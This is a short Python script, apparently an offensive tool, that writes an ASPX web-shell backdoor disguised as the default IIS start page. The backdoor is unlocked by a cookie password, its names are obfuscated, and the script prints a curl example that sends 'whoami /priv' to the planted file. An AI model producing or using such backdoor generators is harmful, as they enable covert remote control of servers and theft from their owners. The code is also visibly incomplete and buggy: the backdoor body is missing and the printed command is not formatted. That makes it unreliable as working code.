#!/usr/bin/env python3
import os
import re
import random
import string
from textwrap import dedent
from argparse import ArgumentParser
def obfuscate(s):
pattern = r'\{\*(.*?)\*\}'
placeholder_values = {}
def get_or_generate_random_string(match):
placeholder = match.group(1)
if placeholder not in placeholder_values:
placeholder_values[placeholder] = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
return placeholder_values[placeholder]
result_string = re.sub(pattern, get_or_generate_random_string, s)
return result_string
def generate_aspx_backdoor(args):
code = '200'
status = '200 OK'
iisstart_template = '''
IIS Windows Server
'''
lines = iisstart_template.split('\n')
processed_lines = ['"' + line.replace('"', '""') + '" & vbCrLf & _' for line in lines]
response = '\n'.join(processed_lines)
response = response.rstrip(' & vbCrLf & _')
backdoor = f'''<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
'''
with open(f'backdoor_{args.cookie_name}:{args.password}.aspx', 'w') as fh:
fh.write(obfuscate(backdoor))
print(f'[INFO] created aspx backdoor as "backdoor_{args.cookie_name}:{args.password}.aspx"')
print('[INFO] issue commands with:')
print('curl http://example.com/backdoor.aspx -H "Cookie: {args.cookie}={args.password}" -d "cmd=whoami /priv" -X POST')
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument('-c', '--cookie-name', required=True)
parser.add_argument('-p', '--password', required=True)
args = parser.parse_args()
generate_aspx_backdoor(args)
